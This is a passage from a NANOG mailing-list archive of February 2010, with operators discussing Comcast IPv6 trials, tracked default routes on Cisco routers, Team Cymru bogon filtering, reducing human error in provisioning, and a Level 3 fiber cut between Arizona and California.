From joelja at bogus.com Mon Feb 1 01:39:20 2010 From: joelja at bogus.com (Joel Jaeggli) Date: Sun, 31 Jan 2010 23:39:20 -0800 Subject: Comcast IPv6 Trials In-Reply-To: <88ac5c711001280447m453dd39aqf99e9f3246be9d65@mail.gmail.com> References: <5A6D953473350C4B9995546AFE9939EE081F7456@RWC-EX1.corp.seven.com> <20100128055551.0A16E1CC09@ptavv.es.net> <88ac5c711001280447m453dd39aqf99e9f3246be9d65@mail.gmail.com> Message-ID: <4B668528.9060406@bogus.com> Richard Barnes wrote: > What I've heard is that the driver is IPv4 exhaustion: Comcast is > starting to have enough subscribers that it can't address them all out > of 10/8 -- ~millions of subscribers, each with >1 IP address (e.g., > for user data / control of the cable box). What do you meaning starting, that happened years ago. 15 million ip subscribers, 6 million voice subscribers, 30 million cable tv subscribers... > > > On Thu, Jan 28, 2010 at 12:55 AM, Kevin Oberman wrote: >>> Date: Wed, 27 Jan 2010 20:59:16 -0800 >>> From: "George Bonser" >>> >>>> -----Original Message----- >>>> From: William McCall >>>> Sent: Wednesday, January 27, 2010 7:51 PM >>>> Subject: Re: Comcast IPv6 Trials >>>> >>>> Saw this today too. This is a good step forward for adoption. Without >>>> going too far, what was the driving factor/selling point to moving >>>> towards this trial? >>> >>> SWAG: Comcast is a mobile operator. At some point NAT becomes very >>> expensive for mobile devices and it makes sense to use IPv6 where you >>> don't need to do NAT. Once you deploy v6 on your mobile net, it is to >>> your advantage to have the stuff your mobile devices connect to also be >>> v6. Do do THAT your network needs to transport v6 and once your net is >>> ipv6 enabled, there is no reason not to leverage that capability to the >>> rest of your network. /SWAG >>> >>> My gut instinct says that mobile operators will be a major player in v6 >>> adoption. >> SWAG is wrong. Comcast is a major cable TV, telephone (VoIP), and >> Internet provider, but they don't do mobile (so far). >> -- >> R. Kevin Oberman, Network Engineer >> Energy Sciences Network (ESnet) >> Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) >> E-mail: oberman at es.net Phone: +1 510 486-8634 >> Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 >> >> > From andrey.gordon at gmail.com Mon Feb 1 09:13:39 2010 From: andrey.gordon at gmail.com (Andrey Gordon) Date: Mon, 1 Feb 2010 10:13:39 -0500 Subject: Default route with object tracking Message-ID: <90ccfc91002010713n18f00974p8d237054c4cf52de@mail.gmail.com> Hi list. I'd like to setup my default routes to the Interwebz to be conditional on reachability of something on the Interwebz. I got two different ISPs (no BGP). I'm trying to figure out what would be a reliable object to track? Meaning, it's probably not reasonable to track my ISPs default gateway, since it does not protect me from someone on the ISP side screwing up. I'm thinking of tracking something like google.com, but am not sure if after I resolve google.com for the first time, it will be simply tracking an arbitrary server (or some load balancer). I wanted to see what experienced folks think is a reliable tracking target. Any comments are much appreciated. thank you, ----- Andrey Gordon [andrey.gordon at gmail.com] From dwhite at olp.net Mon Feb 1 09:31:02 2010 From: dwhite at olp.net (Dan White) Date: Mon, 1 Feb 2010 09:31:02 -0600 Subject: Default route with object tracking In-Reply-To: <90ccfc91002010713n18f00974p8d237054c4cf52de@mail.gmail.com> References: <90ccfc91002010713n18f00974p8d237054c4cf52de@mail.gmail.com> Message-ID: <20100201153102.GB4623@dan.olp.net> On 01/02/10?10:13?-0500, Andrey Gordon wrote: >Hi list. > >I'd like to setup my default routes to the Interwebz to be conditional on >reachability of something on the Interwebz. I got two different ISPs (no >BGP). I'm trying to figure out what would be a reliable object to track? >Meaning, it's probably not reasonable to track my ISPs default gateway, >since it does not protect me from someone on the ISP side screwing up. I'm >thinking of tracking something like google.com, but am not sure if after I >resolve google.com for the first time, it will be simply tracking an >arbitrary server (or some load balancer). > >I wanted to see what experienced folks think is a reliable tracking target. >Any comments are much appreciated. Publicly advertised DNS server IPs should be good, such as google's 8.8.8.8 and 8.8.4.4. -- Dan White From cmaurand at xyonet.com Mon Feb 1 09:47:07 2010 From: cmaurand at xyonet.com (Curtis Maurand) Date: Mon, 01 Feb 2010 10:47:07 -0500 Subject: Default route with object tracking In-Reply-To: <20100201153102.GB4623@dan.olp.net> References: <90ccfc91002010713n18f00974p8d237054c4cf52de@mail.gmail.com> <20100201153102.GB4623@dan.olp.net> Message-ID: <4B66F77B.8010603@xyonet.com> I'd rather send him to something more open like kernel.org; anything but Google's DNS. Google's DNS is a little too nefarious for my taste. On 2/1/2010 10:31 AM, Dan White wrote: > On 01/02/10 10:13 -0500, Andrey Gordon wrote: >> Hi list. >> >> I'd like to setup my default routes to the Interwebz to be >> conditional on >> reachability of something on the Interwebz. I got two different ISPs (no >> BGP). I'm trying to figure out what would be a reliable object to track? >> Meaning, it's probably not reasonable to track my ISPs default gateway, >> since it does not protect me from someone on the ISP side screwing >> up. I'm >> thinking of tracking something like google.com, but am not sure if >> after I >> resolve google.com for the first time, it will be simply tracking an >> arbitrary server (or some load balancer). >> >> I wanted to see what experienced folks think is a reliable tracking >> target. >> Any comments are much appreciated. > > Publicly advertised DNS server IPs should be good, such as google's > 8.8.8.8 > and 8.8.4.4. > From btarratt at clearrate.com Mon Feb 1 09:46:05 2010 From: btarratt at clearrate.com (Brad Tarratt) Date: Mon, 1 Feb 2010 10:46:05 -0500 Subject: Default route with object tracking In-Reply-To: <90ccfc91002010713n18f00974p8d237054c4cf52de@mail.gmail.com> References: <90ccfc91002010713n18f00974p8d237054c4cf52de@mail.gmail.com> Message-ID: Make sure you source your icmp-echos from the address on the interface facing your primary ISP, otherwise your routing table will oscillate continually until your primary ISP comes back up. Here's how I did it with a cable ISP (note my event manager stuff uses no email body to get around the bug in previous versions of IOS, this may no longer be necessary): ip sla 1 icmp-echo source-interface timeout 3000 frequency 10 ip sla schedule 1 life forever start-time now ip sla 2 icmp-echo source-interface timeout 3000 frequency 10 ip sla schedule 2 life forever start-time now ip sla 3 icmp-echo source-interface timeout 3000 frequency 10 ip sla schedule 3 life forever start-time now track 1 rtr 1 reachability delay down 30 up 30 track 2 rtr 2 reachability delay down 30 up 30 track 3 rtr 3 reachability delay down 30 up 30 track 4 list boolean or object 1 object 2 object 3 interface ip dhcp client route track 4 ip address dhcp ip nat outside end ip dhcp-client default-router distance 5 ip route 0.0.0.0 0.0.0.0 somewhereelse 10 event manager applet ISPDown event syslog pattern "%TRACKING-5-STATE: 4 list boolean or Up->Down" action ISPDown.1 mail server "" to "@" from "routers@" subject "ISP Service Down" event manager applet ISPUp event syslog pattern "%TRACKING-5-STATE: 4 list boolean or Down->Up" action ISPUp.1 mail server "" to "@" from "routers@" subject "ISP Service Up" -----Original Message----- From: Andrey Gordon [mailto:andrey.gordon at gmail.com] Sent: Monday, February 01, 2010 10:14 AM To: Nanog Subject: Default route with object tracking Hi list. I'd like to setup my default routes to the Interwebz to be conditional on reachability of something on the Interwebz. I got two different ISPs (no BGP). I'm trying to figure out what would be a reliable object to track? Meaning, it's probably not reasonable to track my ISPs default gateway, since it does not protect me from someone on the ISP side screwing up. I'm thinking of tracking something like google.com, but am not sure if after I resolve google.com for the first time, it will be simply tracking an arbitrary server (or some load balancer). I wanted to see what experienced folks think is a reliable tracking target. Any comments are much appreciated. thank you, ----- Andrey Gordon [andrey.gordon at gmail.com] From sfouant at shortestpathfirst.net Mon Feb 1 09:50:45 2010 From: sfouant at shortestpathfirst.net (Stefan Fouant) Date: Mon, 1 Feb 2010 10:50:45 -0500 Subject: Default route with object tracking In-Reply-To: <4B66F77B.8010603@xyonet.com> References: <90ccfc91002010713n18f00974p8d237054c4cf52de@mail.gmail.com> <20100201153102.GB4623@dan.olp.net> <4B66F77B.8010603@xyonet.com> Message-ID: <015e01caa356$519625f0$f4c271d0$@net> > -----Original Message----- > From: Curtis Maurand [mailto:cmaurand at xyonet.com] > Sent: Monday, February 01, 2010 10:47 AM > To: nanog at nanog.org > Subject: Re: Default route with object tracking > > > I'd rather send him to something more open like kernel.org; anything > but Google's DNS. Google's DNS is a little too nefarious for my taste. Level 3's 4.2.2.1 and 4.2.2.2 are excellent options for tracking. Stefan Fouant, CISSP, JNCIE-M/T www.shortestpathfirst.net GPG Key ID: 0xB5E3803D From andrey.gordon at gmail.com Mon Feb 1 09:54:56 2010 From: andrey.gordon at gmail.com (Andrey Gordon) Date: Mon, 1 Feb 2010 10:54:56 -0500 Subject: Default route with object tracking In-Reply-To: <015e01caa356$519625f0$f4c271d0$@net> References: <90ccfc91002010713n18f00974p8d237054c4cf52de@mail.gmail.com> <20100201153102.GB4623@dan.olp.net> <4B66F77B.8010603@xyonet.com> <015e01caa356$519625f0$f4c271d0$@net> Message-ID: <90ccfc91002010754o6d83d8t34a04cb05c8d66b6@mail.gmail.com> Would it be more reasonable to track a root DNS server that is available via anycast?? Something like 192.33.4.12? Not sure how accurate this is: http://en.wikipedia.org/wiki/Root_nameserver ----- Andrey Gordon [andrey.gordon at gmail.com] From morrowc.lists at gmail.com Mon Feb 1 10:26:23 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Mon, 1 Feb 2010 11:26:23 -0500 Subject: Default route with object tracking In-Reply-To: <4B66F77B.8010603@xyonet.com> References: <90ccfc91002010713n18f00974p8d237054c4cf52de@mail.gmail.com> <20100201153102.GB4623@dan.olp.net> <4B66F77B.8010603@xyonet.com> Message-ID: <75cb24521002010826m3a7978b5l36f2a12dc81a98c5@mail.gmail.com> On Mon, Feb 1, 2010 at 10:47 AM, Curtis Maurand wrote: > > I'd rather send him to something more open like kernel.org; ?anything but > Google's DNS. ?Google's DNS is a little too nefarious for my taste. nefarious? as a route object to track for selection of a default route? really? I think watching something 'very stable' like.... 198.6.0.0/16 may be useful, but in the end "pick some route that's long lived and not in just your upstream's control', that you see via both upstreams." seems like the best option. -chris From smb at cs.columbia.edu Mon Feb 1 10:36:18 2010 From: smb at cs.columbia.edu (Steven Bellovin) Date: Mon, 1 Feb 2010 11:36:18 -0500 Subject: Default route with object tracking In-Reply-To: <75cb24521002010826m3a7978b5l36f2a12dc81a98c5@mail.gmail.com> References: <90ccfc91002010713n18f00974p8d237054c4cf52de@mail.gmail.com> <20100201153102.GB4623@dan.olp.net> <4B66F77B.8010603@xyonet.com> <75cb24521002010826m3a7978b5l36f2a12dc81a98c5@mail.gmail.com> Message-ID: <597DF532-AF9E-4BC2-AB7A-D6C426245F25@cs.columbia.edu> On Feb 1, 2010, at 11:26 AM, Christopher Morrow wrote: > On Mon, Feb 1, 2010 at 10:47 AM, Curtis Maurand wrote: >> >> I'd rather send him to something more open like kernel.org; anything but >> Google's DNS. Google's DNS is a little too nefarious for my taste. > > > nefarious? as a route object to track for selection of a default route? really? > > > I think watching something 'very stable' like.... 198.6.0.0/16 may be > useful, but in the end "pick some route that's long lived and not in > just your upstream's control', that you see via both upstreams." seems > like the best option. I think that a better word than "nefarious" would be "smart" -- Google's DNS may be doing its own optimizations which may conflict with your "route that's long lived" constraint. --Steve Bellovin, http://www.cs.columbia.edu/~smb From swm at emanon.com Mon Feb 1 10:49:07 2010 From: swm at emanon.com (Scott Morris) Date: Mon, 01 Feb 2010 11:49:07 -0500 Subject: Default route with object tracking In-Reply-To: <4B66F77B.8010603@xyonet.com> References: <90ccfc91002010713n18f00974p8d237054c4cf52de@mail.gmail.com> <20100201153102.GB4623@dan.olp.net> <4B66F77B.8010603@xyonet.com> Message-ID: <4B670603.9070306@emanon.com> I think that "good" is all relative to what you are most likely to be able to reach from wherever your location happens to be! Google's... Level 3's..... Root DNS servers (anycast).... Pick something. Scott Curtis Maurand wrote: > > I'd rather send him to something more open like kernel.org; anything > but Google's DNS. Google's DNS is a little too nefarious for my taste. > > On 2/1/2010 10:31 AM, Dan White wrote: >> On 01/02/10 10:13 -0500, Andrey Gordon wrote: >>> Hi list. >>> >>> I'd like to setup my default routes to the Interwebz to be >>> conditional on >>> reachability of something on the Interwebz. I got two different ISPs >>> (no >>> BGP). I'm trying to figure out what would be a reliable object to >>> track? >>> Meaning, it's probably not reasonable to track my ISPs default gateway, >>> since it does not protect me from someone on the ISP side screwing >>> up. I'm >>> thinking of tracking something like google.com, but am not sure if >>> after I >>> resolve google.com for the first time, it will be simply tracking an >>> arbitrary server (or some load balancer). >>> >>> I wanted to see what experienced folks think is a reliable tracking >>> target. >>> Any comments are much appreciated. >> >> Publicly advertised DNS server IPs should be good, such as google's >> 8.8.8.8 >> and 8.8.4.4. >> > > > From chris at uplogon.com Mon Feb 1 12:55:27 2010 From: chris at uplogon.com (Chris Gotstein) Date: Mon, 01 Feb 2010 12:55:27 -0600 Subject: Cymru Bogon Route Help Message-ID: <4B67239F.2060404@uplogon.com> I'm in the process of trying to setup bgp peering with Cymru to receive the bogon route list. I've got everything setup using the examples they have listed, but can't get the filtering to actually work on the incoming bgp. Using a Cisco 7200 router. Any off-list help would be appreciated. Thanks. -- ---- ---- ---- ---- Chris Gotstein, Sr Network Engineer, UP Logon/Computer Connection UP http://uplogon.com | +1 906 774 4847 | chris at uplogon.com From sfouant at shortestpathfirst.net Mon Feb 1 13:07:39 2010 From: sfouant at shortestpathfirst.net (Stefan Fouant) Date: Mon, 1 Feb 2010 19:07:39 +0000 Subject: Cymru Bogon Route Help Message-ID: <493358666-1265051036-cardhu_decombobulator_blackberry.rim.net-83675837-@bda294.bisx.prod.on.blackberry> Can you give us a little more details around how you're trying to convert the BGP routes received into an ACL? While we're on the topic, I'd really love for the Team Cymru folks to turn their bogon list into a Flowspec feed ;) Sorry for the top post, I'm on my BB. Stefan Fouant ------Original Message------ From: Chris Gotstein To: nanog at nanog.org Subject: Cymru Bogon Route Help Sent: Feb 1, 2010 1:55 PM I'm in the process of trying to setup bgp peering with Cymru to receive the bogon route list. I've got everything setup using the examples they have listed, but can't get the filtering to actually work on the incoming bgp. Using a Cisco 7200 router. Any off-list help would be appreciated. Thanks. -- ---- ---- ---- ---- Chris Gotstein, Sr Network Engineer, UP Logon/Computer Connection UP http://uplogon.com | +1 906 774 4847 | chris at uplogon.com Sent from my Verizon Wireless BlackBerry From tarig at suin.edu.sd Mon Feb 1 20:26:27 2010 From: tarig at suin.edu.sd (Tarig Yassin Adam) Date: Mon, 1 Feb 2010 21:26:27 -0500 (EST) Subject: [NANOG] NREN Network Design Message-ID: <24049197.2224.1265077587781.JavaMail.root@mail.sustech.edu> I'm try to redesign the Sudanese NREN (National Research & Education Network). we provide end to end service,to our customers. Our network is build over local ISPs. But the problem of the current design that each time we need to go back to the ISP to change our Infrastructure IP addresses, when the situation need this.How can solve this? I heard about something called Virtual Network Environment which give us the full control of ISP routers, is it the best solution? What about others NRENs.Thanks Normal0falsefalsefalseEN-USX-NONEAR-SAMicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;} --------------------------------- Eng. Tarig Yassin Adam Sudanese Universities' Information Network (SUIN) T: +249925659149 E: tarig at sustech.edu From ip at ioshints.info Mon Feb 1 14:03:58 2010 From: ip at ioshints.info (Ivan Pepelnjak) Date: Mon, 1 Feb 2010 21:03:58 +0100 Subject: Default route with object tracking In-Reply-To: <90ccfc91002010713n18f00974p8d237054c4cf52de@mail.gmail.com> References: <90ccfc91002010713n18f00974p8d237054c4cf52de@mail.gmail.com> Message-ID: <010101caa379$b1bdb290$153917b0$@info> To be absolutely safe, choose 4-5 of the ideas, track all of them and use a composite track object to combine them :) You can find a lot more details (including the oscillating routing problem) here: http://www.nil.com/ipcorner/SmallSiteMultiHoming/ http://wiki.nil.com/Small_site_multihoming Good luck! Ivan Pepelnjak blog.ioshints.info / www.ioshints.info > -----Original Message----- > From: Andrey Gordon [mailto:andrey.gordon at gmail.com] > Sent: Monday, February 01, 2010 4:14 PM > To: Nanog > Subject: Default route with object tracking > > Hi list. > > I'd like to setup my default routes to the Interwebz to be conditional on > reachability of something on the Interwebz. I got two different ISPs (no > BGP). I'm trying to figure out what would be a reliable object to track? > Meaning, it's probably not reasonable to track my ISPs default gateway, > since it does not protect me from someone on the ISP side screwing up. I'm > thinking of tracking something like google.com, but am not sure if after I > resolve google.com for the first time, it will be simply tracking an > arbitrary server (or some load balancer). > > I wanted to see what experienced folks think is a reliable tracking > target. > Any comments are much appreciated. > > thank you, > > > ----- > Andrey Gordon [andrey.gordon at gmail.com] From lists at billfehring.com Mon Feb 1 14:13:13 2010 From: lists at billfehring.com (Bill Fehring) Date: Mon, 1 Feb 2010 12:13:13 -0800 Subject: Cymru Bogon Route Help In-Reply-To: <493358666-1265051036-cardhu_decombobulator_blackberry.rim.net-83675837-@bda294.bisx.prod.on.blackberry> References: <493358666-1265051036-cardhu_decombobulator_blackberry.rim.net-83675837-@bda294.bisx.prod.on.blackberry> Message-ID: On Mon, Feb 1, 2010 at 11:07, Stefan Fouant wrote: > Can you give us a little more details around how you're trying to convert the BGP routes received into an ACL? As he said, there are examples of how to implement this on the Cymru website, see: http://www.team-cymru.org/Services/Bogons/routeserver.html You're not converting anything, you're feeding prefixes from a community into a community-list that you are doing a route-map on. The route map sets a next-hop that has a static route to a null interface. Chris, I assume you are applying the route map on your peering interfaces right? I noticed that part was left out of the example assuming you were doing it yourself. Though I've been able to get this working on the 7200 before, you might want to ask cisco-nsp if you're having specific (mis?)behavior with policy routing on Cisco gear. From abalashov at evaristesys.com Mon Feb 1 14:15:09 2010 From: abalashov at evaristesys.com (Alex Balashov) Date: Mon, 01 Feb 2010 15:15:09 -0500 Subject: [NANOG] NREN Network Design In-Reply-To: <24049197.2224.1265077587781.JavaMail.root@mail.sustech.edu> References: <24049197.2224.1265077587781.JavaMail.root@mail.sustech.edu> Message-ID: <4B67364D.9040605@evaristesys.com> Tarig, I am not quite sure what you mean, but it sounds like you're suggesting that different pieces of your network are fragmented across different connections to different ISPs. Depending on what exactly the problem is, the solution would be either (a) to get a provider-independent IP block from your RIR and route-peer with each of these ISPs in order to announce independent address space that travels with you wherever you buy connectivity, and/or (b) some sort of Layer 2 or 3 tunneling like VPN or MPLS, if I'm not understanding the problem correctly. -- Alex -- Alex Balashov - Principal Evariste Systems LLC Tel : +1 678-954-0670 Direct : +1 678-954-0671 Web : http://www.evaristesys.com/ From mike-nanog at tiedyenetworks.com Mon Feb 1 15:43:34 2010 From: mike-nanog at tiedyenetworks.com (Mike) Date: Mon, 01 Feb 2010 13:43:34 -0800 Subject: Need clued XO abuse contact Message-ID: <4B674B06.9040704@tiedyenetworks.com> I've been getting repeated junk emails from an XO customer and reports to abuse at xo.net are going unanswered and the problem is unresolved. Is there anyone who has a better contact who can take action on this issue? Offlist replies welcome. Thanks. From steve at ibctech.ca Mon Feb 1 19:50:09 2010 From: steve at ibctech.ca (Steve Bertrand) Date: Mon, 01 Feb 2010 20:50:09 -0500 Subject: Cymru Bogon Route Help In-Reply-To: <4B67239F.2060404@uplogon.com> References: <4B67239F.2060404@uplogon.com> Message-ID: <4B6784D1.6070701@ibctech.ca> Chris Gotstein wrote: > I'm in the process of trying to setup bgp peering with Cymru to receive > the bogon route list. I've got everything setup using the examples they > have listed, but can't get the filtering to actually work on the > incoming bgp. Using a Cisco 7200 router. Any off-list help would be > appreciated. Email me off-list, and I'll see if I can help you through your issues via telephone. Steve From mirotrem at gmail.com Mon Feb 1 20:21:52 2010 From: mirotrem at gmail.com (Chadwick Sorrell) Date: Mon, 1 Feb 2010 21:21:52 -0500 Subject: Mitigating human error in the SP Message-ID: Hello NANOG, Long time listener, first time caller. A recent organizational change at my company has put someone in charge who is determined to make things perfect. We are a service provider, not an enterprise company, and our business is doing provisioning work during the day. We recently experienced an outage when an engineer, troubleshooting a failed turn-up, changed the ethertype on the wrong port losing both management and customer data on said device. This isn't a common occurrence, and the engineer in question has a pristine track record. This outage, of a high profile customer, triggered upper management to react by calling a meeting just days after. Put bluntly, we've been told "Human errors are unacceptable, and they will be completely eliminated. One is too many." I am asking the respectable NANOG engineers.... What measures have you taken to mitigate human mistakes? Have they been successful? Any other comments on the subject would be appreciated, we would like to come to our next meeting armed and dangerous. Thanks! Chad From ops.lists at gmail.com Mon Feb 1 20:28:53 2010 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Tue, 2 Feb 2010 07:58:53 +0530 Subject: Mitigating human error in the SP In-Reply-To: References: Message-ID: On Tue, Feb 2, 2010 at 7:51 AM, Chadwick Sorrell wrote: > This outage, of a high profile customer, triggered upper management to > react by calling a meeting just days after. ?Put bluntly, we've been > told "Human errors are unacceptable, and they will be completely > eliminated. ?One is too many." Automated config deployment / provisioning. And sanity checking before deployment. -- Suresh Ramasubramanian (ops.lists at gmail.com) From rdobbins at arbor.net Mon Feb 1 20:31:14 2010 From: rdobbins at arbor.net (Dobbins, Roland) Date: Tue, 2 Feb 2010 02:31:14 +0000 Subject: Mitigating human error in the SP In-Reply-To: References: Message-ID: <923D424B-AA52-45ED-9931-895E79D987D2@arbor.net> On Feb 2, 2010, at 10:28 AM, Suresh Ramasubramanian wrote: > Automated config deployment / provisioning. And sanity checking before deployment. A lab in which changes can be simulated and rehearsed ahead of time, new OS revisions tested, etc. A DCN. ----------------------------------------------------------------------- Roland Dobbins // Injustice is relatively easy to bear; what stings is justice. -- H.L. Mencken From sfouant at shortestpathfirst.net Mon Feb 1 20:46:07 2010 From: sfouant at shortestpathfirst.net (Stefan Fouant) Date: Mon, 1 Feb 2010 21:46:07 -0500 Subject: Mitigating human error in the SP In-Reply-To: References: Message-ID: <019301caa3b1$dfe90650$9fbb12f0$@net> Vijay Gill had some real interesting insights into this in a presentation he gave back at NANOG 44: http://www.nanog.org/meetings/nanog44/presentations/Monday/Gill_programatic_N44.pdf His Blog article on "Infrastructure is Software" further expounds upon the benefits of such an approach - http://vijaygill.wordpress.com/2009/07/22/infrastructure-is-software/ That stuff is light years ahead of anything anybody is doing today (well, apart from maybe Vijay himself ;) ... but IMO it's where we need to start heading. Stefan Fouant, CISSP, JNCIE-M/T www.shortestpathfirst.net GPG Key ID: 0xB5E3803D > -----Original Message----- > From: Suresh Ramasubramanian [mailto:ops.lists at gmail.com] > Sent: Monday, February 01, 2010 9:29 PM > To: Chadwick Sorrell > Cc: nanog at nanog.org > Subject: Re: Mitigating human error in the SP > > On Tue, Feb 2, 2010 at 7:51 AM, Chadwick Sorrell > wrote: > > > This outage, of a high profile customer, triggered upper management > to > > react by calling a meeting just days after. Put bluntly, we've been > > told "Human errors are unacceptable, and they will be completely > > eliminated. One is too many." > > Automated config deployment / provisioning. And sanity checking > before deployment. > > -- > Suresh Ramasubramanian (ops.lists at gmail.com) From dhc2 at dcrocker.net Mon Feb 1 20:58:30 2010 From: dhc2 at dcrocker.net (Dave CROCKER) Date: Mon, 01 Feb 2010 18:58:30 -0800 Subject: Mitigating human error in the SP In-Reply-To: References: Message-ID: <4B6794D6.5060102@dcrocker.net> On 2/1/2010 6:21 PM, Chadwick Sorrell wrote: > Any other comments on the subject would be appreciated, we would like > to come to our next meeting armed and dangerous. If upper management believes humans can be required to make no errors, ask whether they have achieved that ideal for themselves. If they say yes, start a recorder and ask them how. When they get done, ask them why they think the solution that worked for them will scale to a broader population. (Don't worry, you won't get to the point of needing the recorder.) Otherwise, as Suresh notes, the only way to eliminate human error completely is to eliminate the presence of humans in the activity. For those processes retaining human involvement, procedures and interfaces can be designed to minimize human error. Well-established design specialty. Human factors. Usability. Etc. Typically can be quite effective. Worthy using. d/ -- Dave Crocker Brandenburg InternetWorking bbiw.net From micheal at spmedicalgroup.com Mon Feb 1 21:17:20 2010 From: micheal at spmedicalgroup.com (Micheal Patterson) Date: Mon, 1 Feb 2010 21:17:20 -0600 Subject: Fiber Cut in CA? Message-ID: <308A73F5417C4DF19A201C6FED71D45F@dredster> Anyone have any info on a current issue with a feed apparently being cut between AZ and CA that's causing problems for Cox customers by chance? -- Micheal Patterson From ops.lists at gmail.com Mon Feb 1 21:23:44 2010 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Tue, 2 Feb 2010 08:53:44 +0530 Subject: Mitigating human error in the SP In-Reply-To: <4B6794D6.5060102@dcrocker.net> References: <4B6794D6.5060102@dcrocker.net> Message-ID: I'll say "as vijay gill notes" after Stefan posted those two very interesting links. He's saying much the same that I did - in a great deal more detail. Fascinating. >> http://www.nanog.org/meetings/nanog44/presentations/Monday/Gill_programatic_N44.pdf >> His Blog article on "Infrastructure is Software" further expounds upon the benefits of such an approach - http://vijaygill.wordpress.com/2009/07/22/infrastructure-is-software/ On Tue, Feb 2, 2010 at 8:28 AM, Dave CROCKER wrote: > > Otherwise, as Suresh notes, the only way to eliminate human error completely > is to eliminate the presence of humans in the activity. -- Suresh Ramasubramanian (ops.lists at gmail.com) From mike at m5computersecurity.com Mon Feb 1 21:29:24 2010 From: mike at m5computersecurity.com (Michael J McCafferty) Date: Mon, 01 Feb 2010 19:29:24 -0800 Subject: Fiber Cut in CA? In-Reply-To: <308A73F5417C4DF19A201C6FED71D45F@dredster> References: <308A73F5417C4DF19A201C6FED71D45F@dredster> Message-ID: <1265081364.6107.159.camel@mike-desktop> Michael, We saw routes change on Level3's network about 13:40 PDT today. Routes from San Diego to Phoenix now go up to SJC, to Denver, to Dallas, to Phoenix. Some customers trying to reach us from Cox in Phoenix had some issues where Cox and Level 3 peer. Overall, *we* are not down, anywhere, but increased latency. The most recent info we have is: Notes : *** CASCADED EXTERNAL NOTES 02-Feb-2010 02:40:44 GMT spottsta >From CASE: 3900562 - Event > 02:05 GMT Field Services is in the process digging in the Junction box at this time. Testing will begin when fiber is accessible. > > 02:23 GMT Field Services has access to the fiber in the junction box and has begun testing fiber at this time. > > 02:33 GMT Field Services has isolated fiber cut to approximately 3,000 feet out from their current location at a construction site. They are attempting to gain access to the site at this time. Field Technicians are currently walking the route trying to determine a restoration plan. > > Case Status: Analysis in Progress On Mon, 2010-02-01 at 21:17 -0600, Micheal Patterson wrote: > Anyone have any info on a current issue with a feed apparently being cut between AZ and CA that's causing problems for Cox customers by chance? > > -- > > Micheal Patterson -- ************************************************************ Michael J. McCafferty Principal M5 Hosting http://www.m5hosting.com You can have your own custom Dedicated Server up and running today ! RedHat Enterprise, CentOS, Ubuntu, Debian, OpenBSD, FreeBSD, and more ************************************************************ From oberman at es.net Mon Feb 1 22:40:24 2010 From: oberman at es.net (Kevin Oberman) Date: Mon, 01 Feb 2010 20:40:24 -0800 Subject: Fiber Cut in CA? In-Reply-To: Your message of "Mon, 01 Feb 2010 19:29:24 PST." <1265081364.6107.159.camel@mike-desktop> Message-ID: <20100202044024.1AE3B1CC3F@ptavv.es.net> > From: Michael J McCafferty > Date: Mon, 01 Feb 2010 19:29:24 -0800 > > Michael, > We saw routes change on Level3's network about 13:40 PDT today. Routes > from San Diego to Phoenix now go up to SJC, to Denver, to Dallas, to > Phoenix. Some customers trying to reach us from Cox in Phoenix had some > issues where Cox and Level 3 peer. Overall, *we* are not down, anywhere, > but increased latency. > > The most recent info we have is: > > Notes : *** CASCADED EXTERNAL NOTES 02-Feb-2010 02:40:44 GMT spottsta > >From CASE: 3900562 - Event > > 02:05 GMT Field Services is in the process digging in the Junction > box at this time. Testing will begin when fiber is accessible. > > > > 02:23 GMT Field Services has access to the fiber in the junction box > and has begun testing fiber at this time. > > > > 02:33 GMT Field Services has isolated fiber cut to approximately > 3,000 feet out from their current location at a construction site. They > are attempting to gain access to the site at this time. Field > Technicians are currently walking the route trying to determine a > restoration plan. > > > > Case Status: Analysis in Progress > > > On Mon, 2010-02-01 at 21:17 -0600, Micheal Patterson wrote: > > Anyone have any info on a current issue with a feed apparently being cut between AZ and CA that's causing problems for Cox customers by chance? The cut is a complete cut of a 108 fiber bundle between Yuma, AZ and El Centro, CA. L3 reports it is a very isolated area with no roads, making any access very difficult and slow. The last estimate we received at 23:37 EST (20:37 PST) was 3-4 more hours with the proviso that "Estimate may change depending on circumstances on-site." -- R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 From bernard_aboba at hotmail.com Mon Feb 1 23:42:29 2010 From: bernard_aboba at hotmail.com (Bernard Aboba) Date: Mon, 1 Feb 2010 21:42:29 -0800 Subject: MARTINI: why it matters to Voice over IP service providers -- and why we want YOU to attend the Virtual Interim on February 9, 2010 Message-ID: The IETF MARTINI WG has been chartered to standardize an important aspect of SIP trunking: multiple AOR registration. This is not one of those "we'll deliver a standard when we're good and ready" working groups. This WG is aiming to deliver a single standard solution that can displace the myriad of adhoc "implicit registration" approaches that exist today. The goal is to change SIP trunking forever, or die trying. Not 5 years from now, not 2 years from now, but NOW. MARTINI will hold its third virtual Interim (yup, three 2.5+ hour interims in a period of less than 6 weeks) on February 9, 2010. If you are a Voice over IP service provider, and you care about the future of SIP trunking, then you need to attend MARTINI Virtual Interim III, or lose your whining rights, forever. The strawman agenda and the conference parameter details are available here: http://www.ietf.org/mail-archive/web/martini/current/msg00462.html Presentations and minutes from the previous virtual interims are available here: http://www.drizzle.com/~aboba/MARTINI/ The IETF MARTINI WG: not another half-baked standards working group that nobody cares about. Bernard Aboba Co-Chair, IETF MARTINI WG http://www.ietf.org/dyn/wg/charter/martini-charter.html From ra at app-tec.com Tue Feb 2 00:10:49 2010 From: ra at app-tec.com (Rashed 